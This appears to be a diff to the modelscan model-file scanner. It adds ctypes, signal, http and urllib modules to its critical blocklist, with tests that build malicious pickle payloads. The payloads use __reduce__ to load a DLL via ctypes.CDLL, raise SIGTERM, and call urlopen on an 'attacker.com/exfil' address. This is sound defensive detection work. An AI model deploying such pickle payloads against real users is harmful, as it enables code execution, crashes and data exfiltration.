diff --git a/modelscan/settings.py b/modelscan/settings.py
index 56b3a796..4827cba0 100644
--- a/modelscan/settings.py
+++ b/modelscan/settings.py
@@ -128,6 +128,14 @@ class SupportedModelFormats:
             "_pickle": "*",
             "bdb": "*",
             "pdb": "*",
+            "ctypes": "*",  # ctypes.CDLL loads DLLs, executes DllMain, provides system()
+            "ctypes.util": "*",  # ctypes utility functions for finding libraries
+            "signal": "*",  # Can send signals to crash the process
+            "_signal": "*",  # C-level signal module (pickle serializes signal.raise_signal as _signal)
+            "http": "*",  # http.client.HTTPConnection enables network exfiltration
+            "http.client": "*",  # Direct network access to attacker servers
+            "urllib": "*",  # URL-based data exfiltration
+            "urllib.request": "*",
             "shutil": "*",
             "asyncio": "*",
         },
diff --git a/tests/test_ctypes_blocklist.py b/tests/test_ctypes_blocklist.py
new file mode 100644
index 00000000..575dbb96
--- /dev/null
+++ b/tests/test_ctypes_blocklist.py
@@ -0,0 +1,126 @@
+"""
+Tests for ctypes, signal, http, urllib additions to unsafe_globals blocklist.
+
+Verifies that pickle payloads using ctypes.CDLL, signal.raise_signal,
+http.client.HTTPConnection, and urllib.request.urlopen are correctly
+flagged as CRITICAL by modelscan's pickle scanner.
+"""
+
+import ctypes
+import io
+import pickle
+import signal
+import urllib.request
+from typing import Any, Dict
+
+from modelscan.modelscan import ModelScan  # must import first to avoid circular
+from modelscan.issues import (
+    Issue,
+    IssueCode,
+    IssueSeverity,
+    OperatorIssueDetails,
+)
+from modelscan.model import Model
+from modelscan.settings import DEFAULT_SETTINGS
+from modelscan.tools.picklescanner import scan_pickle_bytes
+
+settings: Dict[str, Any] = DEFAULT_SETTINGS
+
+
+class MaliciousCtypesCDLL:
+    """Payload using ctypes.CDLL to load a shared library (DllMain RCE)."""
+
+    def __reduce__(self) -> Any:
+        return ctypes.CDLL, ("msvcrt",)
+
+
+class MaliciousSignal:
+    """Payload using signal.raise_signal for process crash (DoS)."""
+
+    def __reduce__(self) -> Any:
+        return signal.raise_signal, (signal.SIGTERM,)
+
+
+class MaliciousUrllib:
+    """Payload using urllib.request.urlopen for data exfiltration."""
+
+    def __reduce__(self) -> Any:
+        return urllib.request.urlopen, ("http://attacker.com/exfil",)
+
+
+def test_ctypes_cdll_detected():
+    """ctypes.CDLL must be flagged as CRITICAL unsafe operator."""
+    expected = [
+        Issue(
+            IssueCode.UNSAFE_OPERATOR,
+            IssueSeverity.CRITICAL,
+            OperatorIssueDetails(
+                "ctypes", "CDLL", IssueSeverity.CRITICAL, "payload.pkl"
+            ),
+        )
+    ]
+    model = Model("payload.pkl", io.BytesIO(pickle.dumps(MaliciousCtypesCDLL())))
+    result = scan_pickle_bytes(model, settings)
+    assert result.issues == expected
+
+
+def test_signal_detected():
+    """signal module payloads must be flagged as CRITICAL.
+
+    Note: pickle serializes signal.raise_signal as either 'signal' or
+    '_signal' depending on protocol version and platform. Both must be blocked.
+    """
+    payload = pickle.dumps(MaliciousSignal(), protocol=0)
+    model = Model("payload.pkl", io.BytesIO(payload))
+    result = scan_pickle_bytes(model, settings)
+    assert len(result.issues) >= 1, "signal payload must be detected"
+    modules_found = {i.details.module for i in result.issues}
+    assert modules_found & {"signal", "_signal"}, (
+        f"Expected 'signal' or '_signal' in detected modules, got {modules_found}"
+    )
+    assert all(i.severity == IssueSeverity.CRITICAL for i in result.issues)
+
+
+def test_urllib_detected():
+    """urllib.request.urlopen must be flagged as CRITICAL unsafe operator."""
+    payload = pickle.dumps(MaliciousUrllib(), protocol=0)
+    model = Model("payload.pkl", io.BytesIO(payload))
+    result = scan_pickle_bytes(model, settings)
+    assert len(result.issues) == 1
+    assert result.issues[0].severity == IssueSeverity.CRITICAL
+    assert "urllib" in result.issues[0].details.module
+
+
+def test_new_modules_in_blocklist():
+    """Verify all new modules are present in CRITICAL blocklist (regression guard)."""
+    critical = settings["unsafe_globals"]["CRITICAL"]
+    assert "ctypes" in critical, "ctypes must be in CRITICAL blocklist"
+    assert "ctypes.util" in critical, "ctypes.util must be in CRITICAL blocklist"
+    assert "http" in critical, "http must be in CRITICAL blocklist"
+    assert "http.client" in critical, "http.client must be in CRITICAL blocklist"
+    assert "urllib" in critical, "urllib must be in CRITICAL blocklist"
+    assert "urllib.request" in critical, "urllib.request must be in CRITICAL blocklist"
+    assert "signal" in critical, "signal must be in CRITICAL blocklist"
+    assert "_signal" in critical, "_signal must be in CRITICAL blocklist"
+
+
+def test_ctypes_full_modelscan():
+    """End-to-end: ctypes.CDLL payload must be detected by full ModelScan."""
+    import os
+
+    ms = ModelScan()
+    payload = pickle.dumps(MaliciousCtypesCDLL())
+    tmpfile = "_test_ctypes_payload.pkl"
+
+    with open(tmpfile, "wb") as f:
+        f.write(payload)
+
+    try:
+        ms.scan(tmpfile)
+        assert len(ms.issues.all_issues) > 0, (
+            "ModelScan must detect ctypes.CDLL payload"
+        )
+        assert ms.issues.all_issues[0].severity == IssueSeverity.CRITICAL
+        assert ms.issues.all_issues[0].details.module == "ctypes"
+    finally:
+        os.remove(tmpfile)